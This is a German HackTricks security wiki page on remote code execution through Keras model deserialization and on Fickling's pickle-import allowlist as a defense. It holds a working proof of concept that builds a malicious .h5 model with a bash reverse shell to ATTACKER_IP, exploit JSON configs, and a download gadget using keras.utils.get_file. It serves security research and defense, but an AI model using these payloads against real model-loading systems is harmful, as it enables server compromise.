Keras Model Deserialization RCE und Gadget Hunting

Tip

Lernen & ĂŒben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & ĂŒben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

UnterstĂŒtzen Sie HackTricks

Diese Seite fasst praktische Exploitation-Techniken gegen die Keras-Modell-Deserialisierungspipeline zusammen, erklÀrt die Interna des nativen .keras-Formats und die AngriffsflÀche und stellt ein Researcher-Toolkit zum Auffinden von Model File Vulnerabilities (MFVs) und post-fix gadgets bereit.

.keras Modellformat-Interna

Eine .keras-Datei ist ein ZIP-Archiv, das mindestens enthÀlt:

  • metadata.json – allgemeine Informationen (z. B. Keras-Version)
  • config.json – Modellarchitektur (primĂ€re AngriffsflĂ€che)
  • model.weights.h5 – Gewichte im HDF5-Format

Die config.json steuert die rekursive Deserialisierung: Keras importiert Module, löst Klassen/Funktionen auf und rekonstruiert Layers/Objekte aus vom Angreifer kontrollierten Dictionaries.

Beispielausschnitt fĂŒr ein Dense-Layer-Objekt:

{
"module": "keras.layers",
"class_name": "Dense",
"config": {
"units": 64,
"activation": {
"module": "keras.activations",
"class_name": "relu"
},
"kernel_initializer": {
"module": "keras.initializers",
"class_name": "GlorotUniform"
}
}
}

Deserialisierung fĂŒhrt Folgendes aus:

  • Import von Modulen und Auflösung von Symbolen aus module/class_name-SchlĂŒsseln
  • from_config(
) oder Konstruktoraufruf mit durch den Angreifer kontrollierten kwargs
  • Rekursive Verarbeitung verschachtelter Objekte (activations, initializers, constraints, etc.)

Historisch hat das einem Angreifer, der config.json erstellt, drei Primitive offenbart:

  • Kontrolle darĂŒber, welche Module importiert werden
  • Kontrolle darĂŒber, welche Klassen/Funktionen aufgelöst werden
  • Kontrolle ĂŒber die kwargs, die an Konstruktoren/from_config ĂŒbergeben werden

CVE-2024-3660 – Lambda-layer bytecode RCE

Ursache:

  • Lambda.from_config() verwendete python_utils.func_load(
), welches Angreifer-Bytes base64-dekodiert und marshal.loads() aufruft; das Python-Unmarshalling kann Code ausfĂŒhren.

Exploit idea (simplified payload in config.json):

{
"module": "keras.layers",
"class_name": "Lambda",
"config": {
"name": "exploit_lambda",
"function": {
"function_type": "lambda",
"bytecode_b64": "<attacker_base64_marshal_payload>"
}
}
}

Gegenmaßnahmen:

  • Keras erzwingt standardmĂ€ĂŸig safe_mode=True. Serialisierte Python-Funktionen in Lambda werden blockiert, es sei denn, ein Benutzer deaktiviert dies explizit mit safe_mode=False.

Hinweise:

  • Legacy-Formate (Ă€ltere HDF5-Saves) oder Ă€ltere Codebasen erzwingen möglicherweise keine modernen PrĂŒfungen, sodass „downgrade“-artige Angriffe weiterhin anwendbar sind, wenn Opfer Ă€ltere Loader verwenden.

CVE-2025-1550 – Beliebiger Modulimport in Keras ≀ 3.8

Ursache:

  • _retrieve_class_or_fn verwendete uneingeschrĂ€nkt importlib.import_module() mit vom Angreifer kontrollierten Modul-Strings aus config.json.
  • Auswirkung: Beliebiger Import eines installierten Moduls (oder eines vom Angreifer auf sys.path abgelegten Moduls). Code zur Importzeit wird ausgefĂŒhrt, danach erfolgt die Objekterstellung mit Angreifer-kwargs.

Exploit-Idee:

{
"module": "maliciouspkg",
"class_name": "Danger",
"config": {"arg": "val"}
}

Sicherheitsverbesserungen (Keras ≄ 3.9):

  • Modul-Allowlist: Importe auf offizielle Module des Ökosystems beschrĂ€nkt: keras, keras_hub, keras_cv, keras_nlp
  • Safe mode standardmĂ€ĂŸig: safe_mode=True verhindert das Laden unsicherer, serialisierter Lambda-Funktionen
  • Einfache TypprĂŒfung: deserialisierte Objekte mĂŒssen den erwarteten Typen entsprechen

Practical exploitation: TensorFlow-Keras HDF5 (.h5) Lambda RCE

Viele Produktions-Stacks akzeptieren weiterhin legacy TensorFlow-Keras HDF5 Modelldateien (.h5). Wenn ein Angreifer ein Modell hochladen kann, das der Server spĂ€ter lĂ€dt oder fĂŒr Inference verwendet, kann eine Lambda-Schicht beliebiges Python beim load/build/predict ausfĂŒhren.

Minimaler PoC, um eine bösartige .h5 zu erstellen, die beim Deserialisieren oder Verwenden eine reverse shell ausfĂŒhrt:

import tensorflow as tf

def exploit(x):
import os
os.system("bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'")
return x

m = tf.keras.Sequential()
m.add(tf.keras.layers.Input(shape=(64,)))
m.add(tf.keras.layers.Lambda(exploit))
m.compile()
m.save("exploit.h5")  # legacy HDF5 container

Hinweise und Tipps zur ZuverlÀssigkeit:

  • Auslösepunkte: Code kann mehrfach ausgefĂŒhrt werden (z. B. wĂ€hrend layer build/first call, model.load_model und predict/fit). Machen Sie payloads idempotent.
  • Version-Pinning: Stimmen Sie die TF/Keras/Python-Version des Opfers ab, um SerialisierungsinkompatibilitĂ€ten zu vermeiden. Zum Beispiel: bauen Sie Artefakte unter Python 3.8 mit TensorFlow 2.13.1, wenn das Ziel diese Version verwendet.
  • Schnelle Replikation der Umgebung:
FROM python:3.8-slim
RUN pip install tensorflow-cpu==2.13.1
  • Validierung: Eine harmlose Nutzlast wie os.system(“ping -c 1 YOUR_IP”) hilft, die AusfĂŒhrung zu bestĂ€tigen (z. B. ICMP mit tcpdump beobachten), bevor auf eine reverse shell umgeschaltet wird.

Post-fix-gadget-AngriffsflÀche innerhalb der allowlist

Selbst mit allowlisting und safe mode bleibt eine breite AngriffsflÀche unter den erlaubten Keras callables. Zum Beispiel kann keras.utils.get_file beliebige URLs in vom Benutzer wÀhlbare Speicherorte herunterladen.

Gadget via Lambda, das eine erlaubte Funktion referenziert (nicht serialisierter Python-Bytecode):

{
"module": "keras.layers",
"class_name": "Lambda",
"config": {
"name": "dl",
"function": {"module": "keras.utils", "class_name": "get_file"},
"arguments": {
"fname": "artifact.bin",
"origin": "https://example.com/artifact.bin",
"cache_dir": "/tmp/keras-cache"
}
}
}

Wichtige EinschrÀnkung:

  • Lambda.call() fĂŒgt den Eingabe-Tensor als erstes Positionsargument hinzu, wenn das Ziel-callable aufgerufen wird. AusgewĂ€hlte gadgets mĂŒssen ein zusĂ€tzliches Positionsargument tolerieren (oder *args/**kwargs akzeptieren). Das schrĂ€nkt ein, welche Funktionen brauchbar sind.

ML-pickle-Import-Allowlist fĂŒr AI/ML-Modelle (Fickling)

Viele AI/ML-Modellformate (PyTorch .pt/.pth/.ckpt, joblib/scikit-learn, Ă€ltere TensorFlow-Artefakte, etc.) betten Python pickle-Daten ein. Angreifer missbrauchen routinemĂ€ĂŸig pickle GLOBAL-Imports und Objektkonstruktoren, um RCE oder Modelltausch beim Laden zu erreichen. Blacklist-basierte Scanner ĂŒbersehen oft neue oder nicht aufgelistete gefĂ€hrliche Imports.

Eine praktikable Fail-Closed-Verteidigung besteht darin, Pythons pickle-Deserializer zu hooken und wĂ€hrend des Unpicklings nur eine geprĂŒfte Menge harmloser, ML-bezogener Imports zu erlauben. Trail of Bits’ Fickling implementiert diese Richtlinie und liefert eine kuratierte ML-Import-Allowlist, die aus tausenden öffentlichen Hugging Face pickles erstellt wurde.

Sicherheitsmodell fĂŒr „sichere“ Imports (Intuitionen, destilliert aus Forschung und Praxis):

  • Kein AusfĂŒhren von Code oder Verursachen von AusfĂŒhrung (keine kompilierten/Quell-Code-Objekte, Shell-Aufrufe, hooks, etc.)
  • Keine beliebigen Attribute oder Items lesen/setzen
  • Keine Imports oder Beschaffung von Referenzen zu anderen Python-Objekten aus der pickle-VM
  • Keine Auslösung sekundĂ€rer Deserialisierer (z. B. marshal, nested pickle), auch nicht indirekt

Aktivieren Sie Ficklings Schutzmechanismen möglichst frĂŒh beim Prozessstart, damit alle pickle loads, die von Frameworks (torch.load, joblib.load, etc.) durchgefĂŒhrt werden, ĂŒberprĂŒft werden:

import fickling
# Sets global hooks on the stdlib pickle module
fickling.hook.activate_safe_ml_environment()

Betriebliche Hinweise:

  • Sie können die hooks bei Bedarf vorĂŒbergehend deaktivieren/wieder aktivieren:
fickling.hook.deactivate_safe_ml_environment()
# ... load fully trusted files only ...
fickling.hook.activate_safe_ml_environment()
  • Wenn ein als vertrauenswĂŒrdig bekanntes Modell blockiert ist, erweitern Sie die allowlist fĂŒr Ihre Umgebung, nachdem Sie die Symbole ĂŒberprĂŒft haben:
fickling.hook.activate_safe_ml_environment(also_allow=[
"package.subpackage.safe_symbol",
"another.safe.import",
])
  • Fickling stellt außerdem generische Runtime-Guards bereit, wenn Sie feinere Kontrolle bevorzugen:

  • fickling.always_check_safety() um Checks fĂŒr alle pickle.load() durchzusetzen

  • with fickling.check_safety(): fĂŒr scoped enforcement

  • fickling.load(path) / fickling.is_likely_safe(path) fĂŒr einmalige Checks

  • Bevorzugen Sie nach Möglichkeit non-pickle model formats (z. B. SafeTensors). Wenn Sie pickle akzeptieren mĂŒssen, fĂŒhren Sie Loader unter least privilege ohne network egress aus und erzwingen Sie die allowlist.

Diese allowlist-first strategy blockiert nachweislich gĂ€ngige ML pickle-Exploit-Pfade und bewahrt dabei hohe KompatibilitĂ€t. In ToB’s benchmark markierte Fickling 100% der synthetischen bösartigen Dateien und erlaubte ~99% der sauberen Dateien aus den Top Hugging Face repos.

Toolkit fĂŒr Forscher

  1. Systematische Gadget-Erkennung in allowlisted Modulen

Enumeriere candidate callables in keras, keras_nlp, keras_cv, keras_hub und priorisiere diejenigen mit file/network/process/env side effects.

Auflisten potenziell gefÀhrlicher callables in allowlisted Keras-Modulen ```python import importlib, inspect, pkgutil

ALLOWLIST = [“keras”, “keras_nlp”, “keras_cv”, “keras_hub”]

seen = set()

def iter_modules(mod): if not hasattr(mod, “path”): return for m in pkgutil.walk_packages(mod.path, mod.name + “.”): yield m.name

candidates = [] for root in ALLOWLIST: try: r = importlib.import_module(root) except Exception: continue for name in iter_modules(r): if name in seen: continue seen.add(name) try: m = importlib.import_module(name) except Exception: continue for n, obj in inspect.getmembers(m): if inspect.isfunction(obj) or inspect.isclass(obj): sig = None try: sig = str(inspect.signature(obj)) except Exception: pass doc = (inspect.getdoc(obj) or “”).lower() text = f“{name}.{n} {sig} :: {doc}“

Heuristics: look for I/O or network-ish hints

if any(x in doc for x in [“download”, “file”, “path”, “open”, “url”, “http”, “socket”, “env”, “process”, “spawn”, “exec”]): candidates.append(text)

print(“\n”.join(sorted(candidates)[:200]))

</details>

2) Direkte Deserialisierungstests (kein .keras-Archiv benötigt)

FĂŒttern Sie gezielt gestaltete dicts direkt in Keras-Deserialisierer, um akzeptierte Parameter kennenzulernen und Nebeneffekte zu beobachten.
```python
from keras import layers

cfg = {
"module": "keras.layers",
"class_name": "Lambda",
"config": {
"name": "probe",
"function": {"module": "keras.utils", "class_name": "get_file"},
"arguments": {"fname": "x", "origin": "https://example.com/x"}
}
}

layer = layers.deserialize(cfg, safe_mode=True)  # Observe behavior
  1. Cross-version probing und Formate

Keras existiert in mehreren Codebasen/Epochen mit unterschiedlichen Schutzvorkehrungen und Formaten:

  • TensorFlow built-in Keras: tensorflow/python/keras (veraltet, zur Löschung vorgesehen)
  • tf-keras: wird separat gepflegt
  • Multi-backend Keras 3 (offiziell): fĂŒhrte native .keras ein

FĂŒhre Tests ĂŒber die verschiedenen Codebasen und Formate hinweg (.keras vs legacy HDF5) erneut durch, um Regressionen oder fehlende Schutzmaßnahmen aufzudecken.

References

Tip

Lernen & ĂŒben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & ĂŒben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

UnterstĂŒtzen Sie HackTricks